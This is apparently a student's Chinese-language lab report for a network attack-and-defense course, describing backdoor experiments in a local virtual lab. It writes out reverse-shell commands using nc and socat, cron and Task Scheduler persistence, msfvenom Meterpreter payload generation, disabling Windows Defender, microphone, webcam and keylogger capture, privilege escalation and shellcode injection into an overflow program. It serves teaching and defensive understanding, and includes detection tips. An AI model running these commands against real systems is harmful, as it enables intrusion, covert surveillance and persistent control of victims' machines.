20242412 2026-2027-1《网络与系统攻防技术》实验二实验报告

20242412 2026-2027-1《网络与系统攻防技术》实验二实验报告

1. 基础知识

1.1 后门

后门(Backdoor)是指绕过系统正常认证流程,隐蔽留在目标主机上的远程控制通道。攻击者借助后门可以在不输入账号密码的情况下远程操控主机、执行任意命令。后门通常具备三个核心特征:隐蔽性(伪装成正常进程、使用非标准端口)、持久性(通过自启机制实现开机或定时自动运行)、可控性(攻击端可按需发起连接)。本实验主要采用反弹连接模式建立控制通道:由目标主机主动向外连接攻击机的监听端口,绕过防火墙对入站陌生连接的拦截。

1.2 netcat(nc/ncat)

netcat被称为"网络瑞士军刀",支持通过TCP/UDP协议在两台主机之间读写原始数据,常用于端口探测、跨机文件传输和建立Shell通道。常用参数:-l开启监听、-p指定监听端口、-e指定连接建立后自动执行的程序。Windows环境下使用的ncat是Nmap套件提供的增强版netcat,功能完整,支持直接绑定cmd程序建立远程Shell。

1.3 socat

socat(SOcket CAT)是netcat的增强版本,支持双向数据通道转发,可直接将本地命令行程序与网络端口绑定。本实验中Windows端使用socat监听端口,将本地cmd.exe与TCP端口绑定,远程连接后即可获得Windows的命令行Shell;相比netcat,socat在Windows上的兼容性更好,绑定控制台程序时更稳定。

1.4 cron与Windows任务计划

cron是Linux系统下的常驻守护进程,按预设时间周期自动执行命令行任务,配置写在用户crontab文件中,每行格式为"分 时 日 月 周 + 执行命令"。Windows下对应的持久化工具是"任务计划程序",支持配置开机自动运行、定时触发执行程序。后门常借助这两个工具实现持久化,即使系统重启后也能自动重新建立控制通道,这也是本实验中"cron启动任务、任务计划自启"环节的核心目的。

1.5 Metasploit Framework与Meterpreter

MSF是开源的渗透测试框架,其中msfvenom工具可以一键生成不同平台、不同格式的后门载荷;msfconsole提供交互式控制台,exploit/multi/handler模块是通用的监听接收端,用于等待目标回连并建立会话。Meterpreter是MSF提供的高级后门载荷,以注入方式在目标进程内存中运行,不落地文件,隐蔽性强,支持文件上传下载、系统Shell调用、键盘记录、摄像头拍照、麦克风录音、权限提升等丰富功能。

1.6 Shellcode与缓冲区溢出

shellcode是一段可直接执行的机器码,用于在漏洞触发后完成特定功能(比如反弹Shell)。缓冲区溢出漏洞是指程序对输入长度没有边界检查(比如使用gets函数读入输入),超长输入会覆盖栈上的返回地址,将程序执行流重定向到攻击者注入的shellcode位置执行。注入过程的关键是:计算正确的填充偏移、关闭系统ASLR地址随机化、将跳转地址按小端序写入返回地址位置,配合NOP滑动区提高跳转成功率。

1.7 免杀技术

免杀是指通过技术手段让恶意程序绕过杀毒软件检测的对抗技术,常见思路包括编码器变形(msfvenom的-e参数使用shikata_ga_nai编码器对原始shellcode字节加密混淆)、加壳压缩、特征修改等。本实验中使用原生msfvenom生成的Windows后门会被Defender直接识别删除,直观体现了未做免杀的后门无法在真实环境中生存。

2. 实验内容

2.1 实验简介与方案

本实验在本机搭建的虚拟网络环境中完成,攻击机为Kali Linux虚拟机(主机名lvxinyi,IP地址192.168.6.128),靶机为Windows主机(VMnet8虚拟网卡,IP地址192.168.6.1),二者处于同一虚拟网段,网络连通正常。实验依次完成五个实践目标:
① 使用netcat获取主机Shell,通过cron配置周期性自启后门任务;
② 使用socat获取主机Shell,通过Windows任务计划配置开机自启;
③ 使用MSF生成Windows平台可执行后门文件,通过ncat传输到靶机运行,获取目标主机Shell;
④ 使用MSF生成支持采集音频、摄像头画面、击键记录的后门,连接成功后尝试权限提升;
⑤ 使用MSF生成shellcode,注入实验一的pwn1程序中获取反弹Shell(本部分待补充)。
全部操作仅在本机授权虚拟环境中进行,未对其他外部主机发起任何攻击行为。

2.2 实验环境

角色 主机 IP地址 主要工具
攻击机 Kali Linux 虚拟机(主机名lvxinyi) 192.168.6.128 nc/socat、msfvenom、msfconsole
靶机 Windows 主机(VMnet8网卡) 192.168.6.1 ncat、socat、任务计划程序、Windows Defender
注意:由于实验环境变动,ip在后续可能会有变动,不影响实验进行。

2.3 回答问题

(1)列举一个后门进入系统的可能方式。
我觉得最容易中招的方式就是从非官方渠道下载"绿色版""破解版"软件,比如网上资源分享站里的破解安装包,看起来是正常的软件安装程序,实际上捆绑了后门。用户一路下一步点完安装,后门就跟着一起装到系统里了,根本察觉不到。我自己做实验的时候生成的后门exe也是伪装成正常程序的图标,双击之后没任何窗口就后台运行了,普通用户根本不知道自己已经执行了恶意程序。除此之外,伪装成中奖通知、快递提醒的钓鱼链接,点了之后下载的文件也很可能带后门,本质都是利用用户放松警惕主动执行程序。
(2)列举后门在Windows和Linux下的启动方式。
Windows这边我们实验里用的是任务计划自启,我之前自己了解到的还有:把后门路径写到注册表的Run启动项里,开机进桌面就自动跑;把后门注册成Windows系统服务,跟着系统一起启动,甚至伪装成系统必要的服务,用户在任务管理器里根本不敢随便结束。
Linux这边我们实验里用的是cron定时任务,除此之外,常见的还有往用户的.bashrc配置文件里写启动命令,只要用户打开终端登录,后门就自动运行;还有把启动命令写到/etc/rc.local里,系统开机的时候就自动执行,不需要用户登录。
(3)Meterpreter有哪些给你印象深刻的功能?
最让我意外的是它能直接调用电脑的麦克风和摄像头——之前我以为远程控制只能敲命令行,实际操作的时候,敲完record_mic几秒钟就录好了电脑周围的声音,webcam_snap直接就把摄像头的画面拍下来了,完全没有任何弹窗提示用户。而且它是内存驻留的,不会在硬盘上留明显的exe文件痕迹,普通任务管理器里都很难发现异常。对比之前手工用nc拿到的那个简陋Shell,meterpreter直接把"远程控制"做成了一键功能,提权、录屏、传文件全是一条命令的事,和我之前想象里的后门功能差距特别大。
(4)如何发现自己系统有没有被安装后门?
我自己实验的时候是用netstat命令查的,因为我们写的后门都是主动往外连接的,所以只要看到有陌生进程在往陌生IP发连接,大概率就有问题。除此之外,Windows上可以打开任务计划程序,看看有没有自己从来没见过的定时任务;打开杀毒软件的拦截记录,看看有没有拦过可疑的可执行文件。Linux下就直接敲crontab -l看有没有自己没写过的定时任务,ps aux翻一遍进程列表,看看有没有名字奇怪的程序在跑。最后就是自己日常用的时候,注意看哪个程序的CPU、网络占用不正常,莫名连网的时候多留个心眼,比等杀毒软件报警要靠谱。

3. 实验过程

3.1 使用netcat获取Shell,cron启动任务

(1)在Windows靶机上使用ncat开启5314端口监听,等待Kali攻击机连接:
ncat.exe -l -p 5314
alt text
(2)在Kali攻击机上执行反向连接命令,主动连接Windows的监听端口,将Kali的bash反弹给Windows:
nc 192.168.6.1 5314 -e /bin/sh
alt text
对连接进行验证:
alt text
alt text
(3)验证连接后,在Kali中执行crontab -e配置定时任务,首次使用时系统弹出默认编辑器选择界面。
alt text
选择nano作为默认编辑器,添加定时规则:每小时第10分钟自动反向连接Windows监听端口,即使手动建立的Shell断开,到点后也会自动重新建立连接。
alt text
验证如下图,可以看到第二、三行的ls命令终端并未有反应,是因为当时连接并未建立。
alt text

3.2 使用socat获取Shell,配置任务计划自启

(1)在Windows上右键以管理员身份打开命令行,执行socat监听命令,将cmd.exe与5314端口绑定:
socat tcp-listen:5314 exec:cmd.exe,pty,stderr
启动时出现cygwin运行时的"Couldn't compute FAST_CWD pointer"警告,经确认是Windows版socat的已知无害提示,不影响功能;使用netstat -an | findstr 5314确认端口已正常监听。
(2)在Kali攻击机上执行socat连接命令,连接成功后获得Windows的cmd命令行Shell,执行whoami、dir等命令验证Shell可用。
(3)验证连通性后,打开Windows任务计划程序,创建新任务,配置开机时自动运行socat监听命令,设置最高权限运行,实现重启后无需手动操作,后门自动在后台启动监听。
alt text

3.3 使用MSF生成后门,传输运行获取Shell

(1)在Kali上执行msfvenom命令,生成Windows平台的反向连接meterpreter后门,文件名包含本人学号:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=5215 -f exe > 20242412_backdoor.exe
alt text
(2)使用ncat将后门文件从Kali传输到Windows靶机上,临时关闭Windows Defender实时保护,将后门所在文件夹加入Defender排除项,避免文件被自动删除。
(3)在Kali上启动MSF控制台,配置multi/handler监听模块,设置与后门一致的payload、LHOST和LPORT后执行exploit等待回连。在Windows上双击运行20242412_backdoor.exe,MSF端成功获得meterpreter交互会话。
alt text

3.4 MSF生成采集类后门,尝试提权

沿用3.3中建立的meterpreter会话,依次验证各项采集功能与提权流程:
(1)音频采集:在meterpreter中执行record_mic -d 5,调用靶机麦克风录制5秒音频,录制完成后音频自动保存到Kali本地。
(2)摄像头采集:执行webcam_snap命令,调用Windows摄像头拍摄单张照片,自动保存为图片文件。
(3)击键记录:执行keyscan_start启动击键监控,等待一段时间后执行keyscan_dump,获取靶机上记录的键盘输入内容。
alt text
上述三点得到的结果如下图:
alt text
由于分辨率问题,补上其中一张摄像头采集照片确认是本人操作:
alt text
(4)提权尝试:执行getsystem命令尝试自动提权,实验环境中靶机当前运行权限已是管理员,提权流程执行成功后,执行getuid验证当前权限为NT AUTHORITY\SYSTEM。

3.5 使用MSF生成shellcode注入pwn1

(1)使用msfvenom生成32位Linux平台的反弹shellcode,用于注入实验一中的pwn1缓冲区溢出程序:
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.6.128 LPORT=8888 -f elf -o pwn_backdoor
生成完成后为文件添加可执行权限。
alt text
(2)在Kali上配置MSF的multi/handler监听模块,设置payload与生成shellcode一致,LHOST为Kali本机IP192.168.6.128,LPORT为8888,执行run启动监听等待目标回连。
(3)通过gdb调试确定pwn1的缓冲区溢出偏移,将生成的shellcode拼接到溢出payload中,关闭系统ASLR地址随机化后运行pwn1,溢出触发后程序跳转到栈上注入的shellcode执行,主动回连MSF监听端口,成功获得meterpreter反弹会话。
alt text

4. 问题及解决方案

问题1:初次连接时使用校园WLAN的物理IP作为目标,Kali连接时持续报Connection refused错误。
问题1解决方案:校园网开启了AP隔离和端口拦截,物理网络中两台设备无法直接互通,改用VMnet8虚拟网卡的Host-Only网段IP作为连接目标,虚拟二层网络直接互通,连接恢复正常。
问题2:Windows上执行socat监听命令后,netstat查询发现5314端口未处于LISTENING状态,socat进程闪退。
问题2解决方案:普通权限的命令行窗口没有足够权限开启端口监听,右键选择"以管理员身份运行"打开命令行,重新执行socat命令,端口监听成功。
问题3:msfvenom生成的Windows后门exe一保存就被Windows Defender自动删除,无法正常运行。
问题3解决方案:临时关闭Defender的实时保护功能,将存放后门的文件夹加入Defender排除项,后门文件可正常保留运行,实验完成后重新开启防护。
问题4:Kali与Windows之间无法ping通,虚拟网络连接失败。
问题4解决方案:VMware虚拟网卡服务异常,VMnet8网卡获取了无效的169.254地址,重启虚拟网卡并切换网络模式后,连通性恢复正常。
问题5:Kali终端第一次执行crontab -e时弹出编辑器选择界面,不知道选哪个。
问题5解决方案:选择标注easiest的nano编辑器作为默认编辑器,操作简单不会出现vim操作卡退的问题,选择后自动进入crontab编辑界面。

5. 学习感悟、思考等

这次实验做完,我对"后门"的理解从课本上的概念变成了可复现的实战流程。最直观的感受是,建立一个后门通道其实非常简单——netcat和socat都是几行命令就能完成的事,但要让这个通道在目标机器上长期存活,才是真正的难点:要配cron、要写任务计划、要绕过杀毒软件,每一步都是攻防双方的对抗。

之前总觉得"黑客攻击"是很遥远的事,实际操作下来发现,meterpreter一个会话就能录麦克风、拍摄像头、记录键盘输入,相当于完全接管了一台机器,这种能力放在真实场景里是非常可怕的。实验过程也并不是一帆风顺:从选IP踩坑、socat权限不够、Defender删文件、虚拟网卡ping不通,到MSF监听连不上,大部分时间都在排错,反而比顺利敲完命令学到的东西更多——这也让我意识到,做安全实验和真实攻防一样,连通性和环境正确是所有操作的前提,命令敲得再对,网络不通、权限不对、被杀毒软件拦了,都是白搭。

这次实验也让我对自己日常用电脑多了很多警觉:以后下载软件一定要看来源,安装的时候注意自启项,定期查一下有没有陌生的监听端口。技术本身没有对错,我们现在在授权环境下练的这些攻击手段,真实场景里都是黑产用来作恶的工具,守住合法授权的边界,才是学这门课最基本的底线。

参考资料

posted @ 2026-10-19 11:51  钎城  阅读(2)  评论(0)    收藏  举报